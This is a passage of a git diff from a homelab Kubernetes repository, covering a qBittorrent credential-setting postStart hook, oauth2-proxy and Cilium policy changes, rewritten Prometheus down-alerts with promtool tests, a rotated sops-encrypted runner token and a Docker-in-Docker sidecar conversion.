value_of(PKEY)\nif uval == user and pval is not None and matches(pval):\n    raise SystemExit(0)          # converged - leave the file (and its salt) alone\n\nsalt = os.urandom(SALT_LEN)\ndigest = hashlib.pbkdf2_hmac(\"sha512\", pw.encode(), salt, ITERATIONS, DIGEST_LEN)\nstored = base64.b64encode(salt).decode() + \":\" + base64.b64encode(digest).decode()\ndesired = [UKEY + \"=\" + user, PKEY + '=\"@ByteArray(' + stored + ')\"']\n\nout = [line for i, line in enumerate(lines) if i not in (ui, pi)]\nif SECTION in out:\n    at = out.index(SECTION) + 1\nelse:\n    if out and out[-1].strip():\n        out.append(\"\")\n    out.append(SECTION)\n    at = len(out)\nout[at:at] = desired\n\ntry:\n    os.makedirs(os.path.dirname(conf) or \".\", exist_ok=True)\n    tmp = conf + \".webui-cred.new\"\n    with open(tmp, \"w\", encoding=\"utf-8\") as fh:\n        fh.write(\"\\n\".join(out) + \"\\n\")\n        fh.flush()\n        os.fsync(fh.fileno())\n    # This hook runs as ROOT; the service runs as PUID:PGID. A root-owned 0600 conf would\n    # cost the app the ability to save its own settings, so carry the ownership over.\n    try:\n        st = os.stat(conf)\n        os.chown(tmp, st.st_uid, st.st_gid)\n        os.chmod(tmp, stat.S_IMODE(st.st_mode))\n    except FileNotFoundError:\n        os.chown(tmp, int(os.environ.get(\"PUID\", \"1000\")),\n                 int(os.environ.get(\"PGID\", \"1000\")))\n        os.chmod(tmp, 0o664)\n    os.replace(tmp, conf)        # atomic: the app never reads a half-written conf\nexcept OSError as exc:\n    sys.stderr.write(\"[qbt-webui-cred] cannot write %s: %s\\n\" % (conf, exc))\n    raise SystemExit(1)\nraise SystemExit(10)\nPY\n  rc=$?\n\n  if [ \"$rc\" = 0 ]; then\n    log \"conf already holds the durable credential for '$QBT_WEBUI_USERNAME' (no write)\"\n  elif [ \"$rc\" = 10 ]; then\n    log \"asserted WebUI Username + Password_PBKDF2 into $CONF\"\n    # postStart runs CONCURRENTLY with the s6 init chain, so qbittorrent-nox may ALREADY\n    # have read the old, credential-less conf and be serving a random temporary password.\n    # Restart the SUPERVISED SERVICE (not the pod) so it re-reads what was just written.\n    # Nothing to do when the service has not started yet - it will read the new file.\n    # Its own counter, NOT the shared `waited` API budget: sharing one counter is how the\n    # 2026-09-13 failure spent the entire verification budget before the first login and\n    # then fired attempts 2 and 3 with no wait left at all.\n    sv=0\n    while [ \"$sv\" -lt 60 ] && [ \"$(s6-svstat -u \"$SVC\" 2>/dev/null)\" != \"true\" ]; do\n      sv=$((sv + 1)); sleep 1\n    done\n    if [ \"$(s6-svstat -u \"$SVC\" 2>/dev/null)\" = \"true\" ]; then\n      log \"qbittorrent-nox was already running - restarting it to load the credential\"\n      s6-svc -r \"$SVC\" || log \"s6-svc -r failed (continuing to verify anyway)\"\n      sleep 3\n    fi\n  else\n    log \"FAILED to write the credential into $CONF (helper exit $rc). The WebUI will keep\" >&2\n    log \"minting a random password\
+                \ every start and BOTH arrs will break. Fix and restart.\" >&2\n    exit 0\n  fi\n\n  # (3) GROUND TRUTH: the WebUI itself must accept it. Wait for the API to answer at ALL\n  #     (shared ~120s budget across attempts), then spend exactly ONE login per attempt -\n  #     at most 3 rejected logins, which stays under qBittorrent's default ban threshold.\n  #\n  # \"THE API NEVER ANSWERED\" IS A DIFFERENT FAULT FROM \"THE PASSWORD WAS REJECTED\", and\n  # conflating them is what made this hook lie once already (see the PORT comment). An\n  # unreachable WebUI is reported as unreachable, and the hook stops rather than spending\n  # its remaining login attempts to produce two more identical wrong diagnoses.\n  api_ok=0\n  while [ \"$waited\" -lt 120 ]; do\n    code=$(curl -s -o /dev/null -m 3 -w '%{http_code}' \"http://127.0.0.1:$PORT/\" 2>/dev/null)\n    if [ -n \"$code\" ] && [ \"$code\" != \"000\" ]; then api_ok=1; break; fi\n    waited=$((waited + 1)); sleep 1\n  done\n  if [ \"$api_ok\" != 1 ]; then\n    log \"the WebUI never answered on 127.0.0.1:$PORT within the wait budget, so the\" >&2\n    log \"credential in $CONF is UNVERIFIED. This is NOT a rejected password - it was\" >&2\n    log \"never submitted. Do not rotate the credential on the strength of this line.\" >&2\n    exit 0\n  fi\n  body=$(curl -sS -m 10 \\\n           --data-urlencode \"username=$QBT_WEBUI_USERNAME\" \\\n           --data-urlencode \"password=$QBT_WEBUI_PASSWORD\" \\\n           \"http://127.0.0.1:$PORT/api/v2/auth/login\" 2>/dev/null)\n  if [ \"$body\" = \"Ok.\" ]; then\n    log \"VERIFIED: the WebUI accepts the durable credential for '$QBT_WEBUI_USERNAME'\"\n    exit 0\n  fi\n  log \"WebUI rejected the durable credential (login said '$body')\" >&2\n  # A rejection when the conf was ALREADY converged (rc=0, nothing written) can only mean\n  # the running qbittorrent-nox is serving something it read from an EARLIER conf, so\n  # rewriting the same bytes on the next attempt would change nothing. The remedy is to\n  # make the process RE-READ the file, so restart the supervised service and let the next\n  # attempt re-verify. Without this the retry loop could never change its own outcome.\n  if [ \"$(s6-svstat -u \"$SVC\" 2>/dev/null)\" = \"true\" ]; then\n    log \"restarting qbittorrent-nox so it re-reads $CONF, then re-verifying\" >&2\n    s6-svc -r \"$SVC\" || log \"s6-svc -r failed (continuing to verify anyway)\" >&2\n    sleep 3\n  fi\ndone\n\nlog \"GAVE UP after $attempt attempts: the WebUI does not accept the credential from git.\" >&2\n# A postStart hook MUST exit 0 - a non-zero exit makes the kubelet KILL the container\n# (FailedPostStartHook -> CrashLoopBackOff), turning a credential fault into an outage.\n# Both failure paths above therefore log LOUDLY and exit 0; the `up` SLI still watches the\n# app, and the arrs' own download-client health check surfaces a broken credential.\nexit 0\n"
       - name: oauth2-proxy
         image: quay.io/oauth2-proxy/oauth2-proxy:v7.8.1
         imagePullPolicy: IfNotPresent
@@ -152,11 +171,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://qbittorrent.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_qbittorrent
+        - --cookie-domain=qbittorrent.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -177,6 +199,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -294,6 +319,27 @@ spec:
       - port: '4180'
         protocol: TCP
 ---
+# CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): qbittorrent-allow-monitoring-scrape
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: qbittorrent-allow-monitoring-scrape
+  namespace: qbittorrent
+  labels:
+    app.kubernetes.io/name: qbittorrent
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: qbittorrent
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: monitoring
+    toPorts:
+    - ports:
+      - port: '44180'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): qbittorrent-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -325,6 +371,7 @@ metadata:
   annotations:
     homelab.keithjackson.dev/auth-mode: forward-auth
     homelab.keithjackson.dev/auth-groups: media-users,platform-admins
+    external-dns.alpha.kubernetes.io/controller: none
 spec:
   parentRefs:
   - name: shared
@@ -341,26 +388,6 @@ spec:
     - name: qbittorrent
       port: 4180
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: qbittorrent
-  namespace: qbittorrent
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: qbittorrent
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: qbittorrent
-  namespaceSelector:
-    matchNames:
-    - qbittorrent
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -375,11 +402,11 @@ spec:
   - name: qbittorrent.slis
     rules:
     - alert: qbittorrent-down
-      expr: up{job="qbittorrent"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="qbittorrent", deployment="qbittorrent"} == 0 or absent(kube_deployment_status_replicas_available{namespace="qbittorrent", deployment="qbittorrent"})
       for: 5m
       labels:
         severity: critical
         service: qbittorrent
       annotations:
         summary: qbittorrent is down
-        description: 'qbittorrent has been unreachable for 5m (SLI: up).'
+        description: 'qbittorrent: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-0/tests/app-slis.test.yaml

@@ -0,0 +1,269 @@
+# promtool rule-unit tests for the wave-0 per-app `<app>-down` SLI rules.
+# Manifests under test: every PrometheusRule in apps/wave-0/ — gitea, jackett, pihole, plex,
+# qbittorrent (container/Deployment), pihole (container/StatefulSet — `availability.replicas: 2`, so
+# its SLI reads kube_statefulset_status_replicas_ready; see schemas/renderer-contract.md
+# `### availability`) and vm-demo (KubeVirt VMI). The harness discovers this file by
+# the SUITE convention (`<dir>/tests/*.test.yaml`) and flattens those RENDERED manifests, so these
+# tests run against the exact expressions Flux applies, never a copy.
+#
+# Run with: platform/monitoring/tests/run.sh apps/wave-0/tests/app-slis.test.yaml
+#           (the merge gate runs the same harness via
+#            conformance/tests/l0-static/alert-rules-unit-tested)
+#
+# WHY THESE EXIST. Until 2026-09-13 every one of these rules read `up{job="<app>"} == 0` while the
+# rendered ServiceMonitor named a Service port (`metrics`) that no rendered Service defined. The
+# monitor discovered ZERO targets, so no `up{job="<app>"}` series existed and the rule could not
+# fire — on prod, `count by (job) (up)` listed 24 jobs and not one of the twelve appeared.
+# `PrometheusTargetsMissing` could not see it either: a target that was never discovered has no `up`
+# series to be 0. The rules now read kube-state-metrics / kubevirt series that DO exist for these
+# workloads (verified on prod), and every rule below is pinned in BOTH directions:
+#   * QUIET on the healthy state -> it is not permanently firing;
+#   * FIRING when the workload has no ready replica -> it is not inert;
+#   * FIRING when the signal is ABSENT -> the failure mode that produced this whole defect class
+#     (a rule that goes quiet because its series vanished) is itself alerted on.
+#
+# CLOCK/`for` CONVENTION: sample interval 1m, series 21 samples long, evaluated at 10m — comfortably
+# past every rule's `for: 5m` and well inside Prometheus' 5m lookback.
+rule_files:
+  - generated.rules.yaml
+
+evaluation_interval: 1m
+
+tests:
+  # ===========================================================================================
+  # 1. HEALTHY WAVE-0 (what prod looks like right now) -> every rule SILENT.
+  #    This is the "not permanently firing" half. It is also the test that catches a mis-spelled
+  #    label: get `deployment=` wrong and the `== 0` half matches nothing while the `absent()` half
+  #    matches everything, so this test goes red instead of the rule going quietly wrong.
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-0 healthy - every app has a ready replica, the demo VM runs - all quiet
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"}'
+        values: '1+0x20'
+      - series: 'kube_statefulset_status_replicas_ready{namespace="pihole", statefulset="pihole"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="plex", deployment="plex"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="qbittorrent", deployment="qbittorrent"}'
+        values: '1+0x20'
+      - series: 'kubevirt_vmi_info{namespace="vm-demo", name="vm-demo", phase="running", node="k3s-prod-1"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: gitea-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: jackett-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: pihole-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: plex-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: qbittorrent-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: vm-demo-down
+        exp_alerts: []
+
+  # ===========================================================================================
+  # 2. EACH APP DOWN IN TURN (0 available replicas) -> ONLY that app's rule fires.
+  #    The per-app isolation matters: a rule that forgot its `namespace=`/`deployment=` matchers
+  #    would light up every app at once and be useless for routing.
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-0 plex has no available replica - only plex-down fires
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"}'
+        values: '1+0x20'
+      - series: 'kube_statefulset_status_replicas_ready{namespace="pihole", statefulset="pihole"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="plex", deployment="plex"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="qbittorrent", deployment="qbittorrent"}'
+        values: '1+0x20'
+      - series: 'kubevirt_vmi_info{namespace="vm-demo", name="vm-demo", phase="running"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: plex-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: plex
+              namespace: plex
+              deployment: plex
+            exp_annotations:
+              summary: "plex is down"
+              description: "plex: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: gitea-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: jackett-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: pihole-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: qbittorrent-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: vm-demo-down
+        exp_alerts: []
+    # Before `for: 5m` has elapsed the rule must be PENDING, not firing — proof the 5m is real and
+    # a single scrape blip does not page anyone.
+    promql_expr_test:
+      - expr: 'kube_deployment_status_replicas_available{namespace="plex", deployment="plex"} == 0 or absent(kube_deployment_status_replicas_available{namespace="plex", deployment="plex"})'
+        eval_time: 2m
+        exp_samples:
+          - labels: 'kube_deployment_status_replicas_available{deployment="plex", namespace="plex"}'
+            value: 0
+
+  - interval: 1m
+    name: wave-0 gitea/jackett/pihole/qbittorrent each down - each own rule fires
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"}'
+        values: '0+0x20'
+      - series: 'kube_statefulset_status_replicas_ready{namespace="pihole", statefulset="pihole"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="plex", deployment="plex"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="qbittorrent", deployment="qbittorrent"}'
+        values: '0+0x20'
+      - series: 'kubevirt_vmi_info{namespace="vm-demo", name="vm-demo", phase="running"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: gitea-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: gitea
+              namespace: gitea
+              deployment: gitea
+            exp_annotations:
+              summary: "gitea is down"
+              description: "gitea: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: jackett-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: jackett
+              namespace: jackett
+              deployment: jackett
+            exp_annotations:
+              summary: "jackett is down"
+              description: "jackett: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: pihole-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: pihole
+              namespace: pihole
+              statefulset: pihole
+            exp_annotations:
+              summary: "pihole is down"
+              description: "pihole: its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_statefulset_status_replicas_ready)."
+      - eval_time: 10m
+        alertname: qbittorrent-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: qbittorrent
+              namespace: qbittorrent
+              deployment: qbittorrent
+            exp_annotations:
+              summary: "qbittorrent is down"
+              description: "qbittorrent: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: plex-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: vm-demo-down
+        exp_alerts: []
+
+  # ===========================================================================================
+  # 3. THE SIGNAL VANISHES -> the rule FIRES. This is the defect class itself, asserted on.
+  #    The old `up{job=...} == 0` rule had exactly this shape of hole and was silent for it. Here
+  #    the Deployment series for plex is simply not in the input at all, and plex-down must still
+  #    fire (via the `absent()` half), with the labels the selector's equality matchers carry.
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-0 plex Deployment series ABSENT (never scraped / workload gone) - plex-down fires
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"}'
+        values: '1+0x20'
+      - series: 'kubevirt_vmi_info{namespace="vm-demo", name="vm-demo", phase="running"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: plex-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: plex
+              namespace: plex
+              deployment: plex
+            exp_annotations:
+              summary: "plex is down"
+              description: "plex: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: gitea-down
+        exp_alerts: []
+
+  # ===========================================================================================
+  # 4. THE VM: a VMI carries no replica count, so liveness is the EXISTENCE of a running-phase
+  #    series. Two ways to be down, both asserted: the VMI is gone entirely, and the VMI exists in
+  #    some OTHER phase. The second is the one a naive `kubevirt_vmi_info == 1` would miss, and it
+  #    is why the phase value is matched — LOWERCASE `running`, the value KubeVirt actually writes
+  #    (a capital-R matcher selects nothing and would be just as inert).
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-0 demo VM has no running-phase VMI - vm-demo-down fires
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: vm-demo-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: vm-demo
+              namespace: vm-demo
+              name: vm-demo
+              phase: running
+            exp_annotations:
+              summary: "vm-demo is down"
+              description: "vm-demo: no KubeVirt VMI in phase running for 5m (SLI: up, via kubevirt_vmi_info)."
+
+  - interval: 1m
+    name: wave-0 demo VM exists but is Failed, not running - vm-demo-down still fires
+    input_series:
+      - series: 'kubevirt_vmi_info{namespace="vm-demo", name="vm-demo", phase="failed"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: vm-demo-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: vm-demo
+              namespace: vm-demo
+              name: vm-demo
+              phase: running
+            exp_annotations:
+              summary: "vm-demo is down"
+              description: "vm-demo: no KubeVirt VMI in phase running for 5m (SLI: up, via kubevirt_vmi_info)."

apps/wave-0/vm-demo.yaml

@@ -115,26 +115,6 @@ spec:
   - toEntities:
     - world
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: vm-demo
-  namespace: vm-demo
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: vm-demo
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: vm-demo
-  namespaceSelector:
-    matchNames:
-    - vm-demo
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -149,11 +129,11 @@ spec:
   - name: vm-demo.slis
     rules:
     - alert: vm-demo-down
-      expr: up{job="vm-demo"} == 0
+      expr: absent(kubevirt_vmi_info{namespace="vm-demo", name="vm-demo", phase="running"})
       for: 5m
       labels:
         severity: critical
         service: vm-demo
       annotations:
         summary: vm-demo is down
-        description: 'vm-demo has been unreachable for 5m (SLI: up).'
+        description: 'vm-demo: no KubeVirt VMI in phase running for 5m (SLI: up, via kubevirt_vmi_info).'

apps/wave-1/gitea-actions-runner-secret.sops.yaml

@@ -4,7 +4,13 @@
 # against Gitea. Flux decrypts it via the sops-age key at reconcile (apps Kustomization
 # decryption is wired in clusters/dev/kustomization.yaml). Rotate by resetting the token
 # in Gitea (admin -> actions -> runners) and re-encrypting a fresh value here.
-# Recover/inspect: infra/devcontainer/dev.sh run sops -d apps/gitea-actions-runner-secret.sops.yaml
+# ROTATE: ./infra/gitea/runner-token-rotate.sh -- it mints a fresh instance-level token from the
+# Gitea API and writes it here via `sops set`, without the value ever being printed.
+# Do NOT `sops -d` this file into a terminal, a log, or an agent transcript. To check only that
+# it still decrypts, redirect: `sops -d <file> > /dev/null`.
+# NOTE: a fresh token alone may not re-register the runner. act_runner registers ONCE and keeps
+# its identity in /data/.runner on the act-runner-data PVC; if Gitea no longer holds a matching
+# row it skips registration silently. Clearing that PVC is what forces a real re-registration.
 apiVersion: v1
 kind: Secret
 metadata:
@@ -14,7 +20,7 @@ metadata:
         app.kubernetes.io/name: act-runner
 type: Opaque
 stringData:
-    token: ENC[AES256_GCM,data:W48mEtBqGeukX13lMhrhrer+zB21cLVp0acy3m1Xy/oo89DqO8FX/Q==,iv:wfTUU7RiFLdEc1fmEFS9DfE2SmGCFLPK17m0IKspft0=,tag:UhoXA47p7386KHcYNbPzCg==,type:str]
+    token: ENC[AES256_GCM,data:f574mAUkLvMGq0TYycwCd4tduMuBgQLiTg/140kuRDgFUYYm1ZoSjQ==,iv:Tn7gFWBLm2hHk/BbfVX7qIZegwZp9ah1cMou5i2O91E=,tag:TkdSiMI4sdCNn2JuN++Pig==,type:str]
 sops:
     kms: []
     gcp_kms: []
@@ -30,8 +36,8 @@ sops:
             MDZLUE52QzJXbFlrNWxOcVhJbDNnY00KxCpFkbhhCuk4Fa8CC3C4+R9AcsUnaXQR
             UjAfwKFoXAneXUih7TTXMbR/6+VgQBww5Bmwpn7jVLnzP0N0pIZVTA==
             -----END AGE ENCRYPTED FILE-----
-    lastmodified: "2026-08-26T04:48:14Z"
-    mac: ENC[AES256_GCM,data:b99/zkL332RIT3FYBa1sR3o9+pwlmrUgKvVHawbjWYSJZ7ERUfO+LXuhKJ0HKrp6i1JfkurZlRO27iBcfrBisAXS9KLaqmsCJf4kKfFc4skANrmKCzprrXUmZexr1uiE8eDUzjNCLNxSCZfnFR6d/AkMXJqi6Hsj9/O+wH2lWsc=,iv:3DIPszSdxK81ERO3o/nTs33qQYHaAKLNcGP4qlZViFc=,tag:/B6VKkzMUwh0byNUicS5wQ==,type:str]
+    lastmodified: "2026-09-29T05:48:35Z"
+    mac: ENC[AES256_GCM,data:nobqr794nrdRYFrd8Ct8bw9M8NtftJXawRGk9zrL+pTWahwlWrwXVtOAxMGEPVojz3WemsxTJESzmzy0gcT1QcrjpYTsF2MVHcr6+umk8q9gAh2enyxy/0QkYiSt6XjvRVqfqleLanEkeIq1FPf2zhSLSJaiw4/oZTfkCHD1/Zg=,iv:JxaP0htmGcvE4ZU1YAmGF4A6JkejV29NNygyMl1OKF8=,tag:G70NvcPyVuagXhugWoUfTw==,type:str]
     pgp: []
     encrypted_regex: ^(data|stringData)$
     version: 3.9.4

apps/wave-1/gitea-actions.yaml

@@ -99,70 +99,79 @@ spec:
       # CI holds no cluster credentials — do not mount a SA token into the runner or
       # (via the shared netns) the job containers (R-SEC-02, docs/14).
       automountServiceAccountToken: false
+      # ---- Docker-in-Docker: the job executor daemon (privileged) -------------------
+      #
+      # NATIVE SIDECAR (k3s v1.36; sidecar containers are GA). It is an initContainer with
+      # `restartPolicy: Always`, which means: it starts BEFORE the regular containers, keeps
+      # running alongside them, and is terminated after them. kubelet holds `runner` until
+      # this container's startupProbe passes, so the ordering is enforced by the kubelet
+      # instead of hand-rolled shell in the runner.
+      #
+      # This REPLACES two bounded wait-loops that used to live in the runner's `command:`.
+      # Deleting them also deletes an envsubst hazard: clusters/base/apps-wave-1.yaml runs
+      # postBuild substitution over this ENTIRE manifest, comments included, and those loops
+      # depended on bare dollar-names surviving it untouched. There is now no shell here at
+      # all, so there is nothing to escape or mis-escape.
+      #
+      # WHY THE PROBE IS `exec docker ... info` AND NOT `tcpSocket`. A tcpSocket probe would
+      # re-open the exact gap the old Stage 1 existed to close: dockerd writes the TLS certs
+      # and only THEN begins listening, so the port can accept a connection while the certs
+      # are absent or incomplete -- and act_runner hard-exits on a missing
+      # /certs/client/ca.pem. A full TLS-verified `docker info` proves BOTH that the certs
+      # are usable and that the daemon answers.
+      #
+      # CORRECTION (measured 2026-09-29, after this conversion shipped): the commit that
+      # introduced this claimed the conversion would REMOVE the one-per-start dockerd line
+      # `http: TLS handshake error from 127.0.0.1: EOF`. IT DOES NOT. Exactly one still
+      # appears, immediately after "API listen on [::]:2376" -- it is now this probe's FIRST
+      # attempt, landing microseconds after dockerd begins listening and cut off by
+      # timeoutSeconds: 1. The next poll succeeds. It is cosmetic, exactly as cosmetic as it
+      # was before, and deliberately NOT chased: raising timeoutSeconds to hide one benign
+      # startup line would slow every subsequent poll. Left documented rather than silenced.
+      #
+      # periodSeconds 1 x failureThreshold 60 preserves the previous 60s cap.
+      initContainers:
+        - name: dind
+          restartPolicy: Always   # <- this field is what makes it a SIDECAR
+          image: docker:27-dind
+          securityContext:
+            privileged: true
+          env:
+            # Generate + publish TLS certs into the shared emptyDir; dockerd then listens
+            # on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
+            - name: DOCKER_TLS_CERTDIR
+              value: /certs
+          volumeMounts:
+            - name: certs
+              mountPath: /certs
+            - name: dind-storage
+              mountPath: /var/lib/docker
+          resources:
+            requests:
+              cpu: 100m
+              memory: 256Mi
+            limits:
+              memory: 2Gi
+          startupProbe:
+            exec:
+              command:
+                - docker
+                - --host=tcp://127.0.0.1:2376
+                - --tlsverify
+                - --tlscacert=/certs/client/ca.pem
+                - --tlscert=/certs/client/cert.pem
+                - --tlskey=/certs/client/key.pem
+                - info
+            periodSeconds: 1
+            failureThreshold: 60
       containers:
         # ---- act_runner: registers with Gitea, dispatches jobs to the DinD daemon ----
         - name: runner
           image: gitea/act_runner:0.2.11
-          # TWO-STAGE BOUNDED WAIT on the DinD sidecar, then exec the image's normal
-          # entrypoint (/sbin/tini -- /opt/act/run.sh), which registers-from-env on first
-          # boot and runs `act_runner daemon`.
-          #
-          # STAGE 1 — the certs must EXIST: act_runner reads /certs/client/ca.pem at startup
-          #   and hard-exits if it is missing (a startup race against the sidecar).
-          # STAGE 2 — the daemon must actually ACCEPT a connection: the cert FILE appearing is
-          #   necessary but NOT sufficient. dockerd writes the certs and only THEN begins
-          #   listening on :2376, so a runner that proceeds on the file alone still hard-exits
-          #   with "cannot ping the docker daemon at tcp://localhost:2376" — observed
-          #   crashlooping 11 times in ~8 minutes on a fresh pod after a node bounce.
-          # Both loops are bounded (60 x 1s) and exit 1 on timeout, so a genuinely dead sidecar
-          # surfaces as a CrashLoopBackOff with a clear message instead of hanging forever.
-          #
-          # ENVSUBST SAFETY — the BARE $i / $j below are CORRECT. Do not "tidy" them into the
-          #   braced form or the double-dollar form; both are wrong here, for different reasons.
-          #   clusters/base/apps-wave-1.yaml carries postBuild.substituteFrom cluster-vars, so
-          #   Flux envsubst runs over this ENTIRE manifest — YAML comments very much included.
-          #   Its contract (drone/envsubst; the same one spelled out in clusters/base/apps-vms.yaml,
-          #   and re-verified against this exact file with `flux envsubst`, flux v2.4.0) is:
-          #     - A bare  $name  is NOT a reference to envsubst: it passes through untouched, and
-          #       that holds even when the name IS set in cluster-vars. So $i and $j reach the
-          #       cluster verbatim and both 60s bounds below are real, enforced bounds.
-          #     - $((i + 1))  is likewise untouched: "(" cannot begin a variable name.
-          #     - A BRACED dollar-name IS a reference and gets replaced — with the empty string
-          #       when the name is unset. One of those here would make a bound read [ "" -ge 60 ],
-          #       which errors, short-circuits the &&, and silently turns the wait UNBOUNDED.
-          #     - A DOUBLE-dollar braced name is envsubst's escape and survives as the braced
-          #       form — still wrong for us, because on any path where envsubst does NOT run
-          #       (a plain `kustomize build` or `kubectl apply -k` of this directory) the shell
-          #       reads that leading double-dollar as its own PID, so a bound would compare a
-          #       string like 1234{i} against 60. The bare form is the only spelling that is
-          #       correct on BOTH paths.
-          #     - A braced name containing punctuation is a HARD ERROR ("unable to parse variable
-          #       name") that fails this whole Kustomization — and this Kustomization gates every
-          #       merge in the repo. So never write one anywhere in this file, INCLUDING in a
-          #       comment. That is why this note names the three forms in words rather than
-          #       showing them: an earlier draft of it spelled them out literally and broke
-          #       `flux envsubst` on the file. (Same trap the indexed-expansion warning in
-          #       clusters/base/apps-vms.yaml describes.)
-          command:
-            - /bin/sh
-            - -c
-            - |
-              # Stage 1: the sidecar's TLS client certs must appear in the shared emptyDir.
-              i=0
-              until [ -f /certs/client/ca.pem ]; do
-                i=$((i + 1))
-                [ "$i" -ge 60 ] && { echo "dind certs never appeared" >&2; exit 1; }
-                echo "waiting for dind TLS certs ($i)"; sleep 1
-              done
-              # Stage 2: dockerd must actually accept a connection on :2376. busybox nc in this
-              # Alpine-based image (gitea/act_runner:0.2.11) supports -z (scan) and -w (timeout).
-              j=0
-              until nc -z -w1 127.0.0.1 2376; do
-                j=$((j + 1))
-                [ "$j" -ge 60 ] && { echo "dind daemon never accepted a connection on 2376" >&2; exit 1; }
